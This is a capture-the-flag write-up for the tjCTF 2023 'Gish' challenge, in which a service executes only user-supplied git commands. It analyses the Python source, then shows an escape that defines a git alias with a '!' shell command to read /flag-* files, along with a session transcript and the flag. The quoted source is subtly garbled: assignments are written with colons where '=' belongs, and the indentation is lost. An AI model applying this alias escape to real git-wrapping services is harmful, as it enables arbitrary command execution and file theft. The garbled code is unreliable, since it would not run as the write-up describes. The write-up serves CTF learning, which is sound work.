tjCTF 2023 - Gish
Table of Contents
Challenge Overview
In this challenge, we were given a file that contains the source code of the application to exploit.
Code Analysis
Source Code
Here is what run.py contains:
#!/usr/bin/python3
import sys
import shlex
import subprocess
from os import chdir
chdir('/srv/')
print('please enter your script, terminated by the word "end"')
sys.stdout.flush()
script_lines: []
while True:
next_line: sys.stdin.readline().strip()
if next_line == 'end':
break
script_lines.append(next_line)
print('script entered')
sys.stdout.flush()
for line in script_lines:
try:
args: shlex.split(line)
assert args[0] == 'git'
output: subprocess.check_output(args, timeout=10)
print(output.decode('utf-8'))
except:
print('errored, exiting')
sys.stdout.flush()
Code Flow
This Python script is essentially designed to execute a sequence of Git commands, provided by the user, on a specific directory on the system, in this case /srv/.
It starts by changing the current working directory to /srv/ using the chdir function from the os library.
This is the directory on which Git commands will be executed.
The script then asks the user to enter a series of Git commands, one per line.
These commands are read from standard input (sys.stdin.readline()), stripped of any leading or trailing whitespace (.strip()), and added to a script_lines list for later execution.
The user indicates they have finished entering commands by typing the word “end”.
Once all commands are collected, the script iterates through each command in script_lines. For each command, it does the following:
First, it uses shlex.split(line) to split the command into a list of arguments. shlex.split() is used here because it splits the line into arguments in a similar way to how a Unix shell does, which allows taking into account quotes and escapes.
This is a “safe” way to prevent command injection, as it properly handles quoted and escaped strings.
Next, it checks that the first argument is ‘git’, to ensure that only Git commands are executed. This check is performed by assert args[0] == 'git'.
Finally, it attempts to execute the command with subprocess.check_output(args, timeout=10). subprocess.check_output() executes the command and returns its output. The timeout=10 parameter is used to ensure that the command does not run indefinitely; it will be interrupted if it has not finished within 10 seconds.
If something goes wrong during command execution (for example, if the command is not a valid Git command, or if it exceeds the execution timeout), an exception will be raised, and the script will display “errored, exiting”.
Exploitation Strategy
Research
The goal here is to exploit git directly to execute our arbitrary code.
After searching the Internet for a while, I came across this article: https://pilot34.medium.com/store-your-git-hooks-in-a-repository-2de1d319848c
In summary, this article explains how to configure and share Git hooks in a company or development team. Git hooks are scripts that are automatically executed whenever a certain event occurs in a Git repository, such as a commit or merge.
Generally, each developer must configure their own Git hooks, but the author proposes a solution to configure hooks directly in the repository so that all developers have them automatically. Furthermore, any changes made to the hooks will also be automatically integrated by all developers.
Exploitation
Git Hooks Exploitation
To exploit the vulnerability in this challenge, we will use Git hooks to execute our arbitrary code. We use the method described in the previously mentioned article to configure the hook directly in the repository.
First, we initialize a new Git repository with git init. This is necessary because we need to have a Git repository to use Git hooks.
Next, we set the user settings with git config --global user.email "root@chocapikk.com" and git config --global user.name "Chocapikk". These commands are necessary so we can make commits.
The command git config -f .gitconfig core.hooksPath hooks tells Git to use the hooks we will configure in the “hooks” directory.
Next, we create a Git alias named pre-commit that will be executed whenever a commit is made. The alias is defined with git config --local alias.pre-commit '!echo $(cat /flag-*)', which means it will display the contents of the file starting with “/flag-” whenever it is executed.
Then, we use git config --local include.path ../.gitconfig to tell Git to load the configuration from the .gitconfig file we created.
Finally, we execute our pre-commit hook with git pre-commit. This displays the flag file contents, which is the solution to this challenge.
These commands are executed through an interactive shell obtained using the command ncat --ssl gish-1ca03b1caddbda3e.tjc.tf 1337.
We end the interaction with the run.py script by typing “end”, as the script requests.
And there we go! We have exploited the vulnerability and obtained the flag.
Result
Example:
$ ncat --ssl gish-a3e84ae9bec71224.tjc.tf 1337
please enter your script, terminated by the word "end"
git init
git config --global user.email "root@chocapikk.com"
git config --global user.name "Chocapikk"
git config -f .gitconfig core.hooksPath hooks
git config --local alias.pre-commit '!echo $(cat /flag-*)'
git config --local include.path ../.gitconfig
git pre-commit
end
script entered
Reinitialized existing Git repository in /srv/.git/
tjctf{uncontrolled_versions_1831821a}
Flag
The flag is therefore tjctf{uncontrolled_versions_1831821a}